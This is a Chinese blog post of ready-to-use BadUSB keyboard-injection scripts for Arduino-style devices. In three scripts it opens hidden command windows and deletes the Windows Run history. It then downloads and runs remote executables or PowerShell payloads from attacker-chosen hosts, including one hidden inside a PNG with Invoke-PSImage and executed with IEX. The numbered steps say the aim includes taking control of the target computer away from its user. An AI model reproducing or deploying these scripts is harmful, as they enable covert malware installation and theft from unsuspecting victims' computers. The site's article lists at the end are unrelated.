Badusb常用代码整理

一、小马下载执行 适用于常见可执行文件

#include <Keyboard.h>
void setup() { //初始化,这里的代码只执行一次
delay(5000); //设置延时,让系统有足够的时间识别烧鹅,防止后续代码执行错乱。
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI); // 按下Win键
Keyboard.set_key1(KEY_R); // 同时按下R键
Keyboard.send_now(); // 发送Win+R
delay(100);
Keyboard.print("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1");
//开启极小的CMD窗口,设置文字和背景对比度尽可能相近,达到隐藏输入的目的
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
delay(300);
Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); //利用注册表清除开始--运行的记录
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.println("powershell (new- object System.Net.WebClient).DownloadFile('http://192.168.1.100 /a1.exe','D:\\1.exe')"); //下载远程的payload
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(3000); //设置延迟,等待下载完成
Keyboard.println("d:\\1.exe"); //执行打开命令
Keyboard.set_key1(KEY_ENTER);
delay(300);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.set_modifier(MODIFIERKEY_ALT);
Keyboard.set_key1(KEY_SPACE);
Keyboard.set_key2(KEY_C);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.set_key2(0);
Keyboard.send_now(); //关闭cmd窗口
}
void loop() //循环,这里的代码无限循环
{
}

二、powershell下载执行

#include <Keyboard.h>
void setup() {
Keyboard.begin();
delay(5000);
Keyboard.press(KEY_LEFT_GUI);
delay(500);
Keyboard.press('r');
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(500);
Keyboard.println("POWERSHELL -NOP -eXECUTIONpOLICY bYPASS -W HIDDEN -C \"(nEW-oBJECT nET.wEBcLIENT).dOWNLOADfILE('HTTP://x.x.x.x/xxx.PS1','C:\\USERS\\PUBLIC\\sYSTEMnETWORKsERVICE.PS1')\";C:\\USERS\\PUBLIC\\sYSTEMnETWORKsERVICE.PS1;EXIT");
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();
}
void loop()
{
}

三、图片马下载执行

自行从网上找一1920*1080高清壁纸,接下来要将木马免杀进PNG图片。

免杀工具地址:https://github.com/peewpw/Invoke-PSImage

介绍:Invoke-PSImage使用PowerShell脚本并将该脚本的字节编码为PNG图像的像素。 它从Web的文件中生成一个oneliner来执行。

它可以仅使用有效载荷数据来创建新图像,也可以将有效载荷嵌入到现有图像的最低有效字节中,以便看起来像实际的图片。 图像保存为PNG,并且可以无损压缩,而不会影响执行有效载荷的能力,因为数据本身以颜色存储。 创建新映像时,通常会对常规PowerShell脚本进行显着压缩,通常会生成png,其文件大小约为原始脚本的50%。

将生成的Payload.ps1和网上的图片放在Invoke-PSimage同一目录下,按下Shift+鼠标右键进入Powershell命令行,输入如下命令:

Import-Module .\Invoke-PSImage.ps1
Invoke-PSImage -Script .\payload.ps1 -Out haha.png -Image .\1.png -WebClient

将生成的图片上传至图床并替换链接

1.插入USB后缓存一定时间让电脑足够识别

2.按下Win+r,并且以最小化打开CMD,并且删除注册表记录

3.进入Powershell模式

4.在Powershell模式下执行恶意代码,同时让目标失去对电脑的控制权

5.执行完恶意代码后按下Win+M,此时所有应用最小化。

#include <Keyboard.h>
void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
delay(500);
Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1&reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f");
delay(500);
Keyboard.println("Powershell");
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.release(KEY_RETURN);
Keyboard.println("sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead('https://www.png8.com/imgs/2021/05/18df3672767f26ef.png'));$o=a Byte[] 4000;(0..7)|%{foreach($x in(0..499)){$p=$g.GetPixel($x,$_);$o[$_*500+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3554]))");
Keyboard.press(KEY_RETURN);
delay(10000);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_RETURN);
delay(5000);
Keyboard.release(KEY_RETURN);
Keyboard.println('exit');
Keyboard.press(KEY_LEFT_GUI);
delay(500);
Keyboard.press('m');
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('m');
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{
}

最新文章

  1. MYSQL性能优化的最佳20+条经验
  2. 烂泥:nginx同时支持asp.net与php
  3. 51nod 1170 1770 数数字(动态规划)
  4. Linux中的crontab命令用法
  5. 45种Javascript技巧大全(转)
  6. Windows2012中安装Nginx并创建为Windows服务
  7. struts2处理.do后缀的请求
  8. EXT ajax简单实例
  9. oracle中简单查询语句的格式及执行顺序分析
  10. Codeforces 229D Towers
  11. 对boost::shared_from_this的进一步封装
  12. Linux下的摄影后期处理软件
  13. Android SQLite 数据库 增删改查操作
  14. SpringMVC 表单验证
  15. 华南师大 2017 年 ACM 程序设计竞赛新生初赛题解
  16. 导入mysql数据的时候提示Field * doesn&#39;t have a default value解决方法
  17. stm32开发之使用Keil MDK以及标准外设库创建STM32工程
  18. Sping 里面的适配器模式的实现
  19. Linux使用退格键时出现^H ^?解决方法
  20. 洗礼灵魂,修炼python(49)--巩固篇—包

热门文章

  1. C\C++白嫖学习
  2. 基于 BaGet 搭建 Nuget 服务器
  3. Change Buffer 只适用于非唯一索引页?错
  4. [CF1073G]LCP问题
  5. vue-property-decorator
  6. dubbo的消费者是怎么获取提供者服务接口引用的?
  7. 安装typescript环境并开启VSCode自动监视编译ts文件为js文件
  8. SAP PP- OPK8生产订单打印 配置Smart form.
  9. Python实现12种概率分布(附代码)
  10. Failed to Setup IP tables: Unable to enable SKIP DNAT rule: (iptables failed: iptables --wait -t nat -I DOCKER -i br-b1938128a963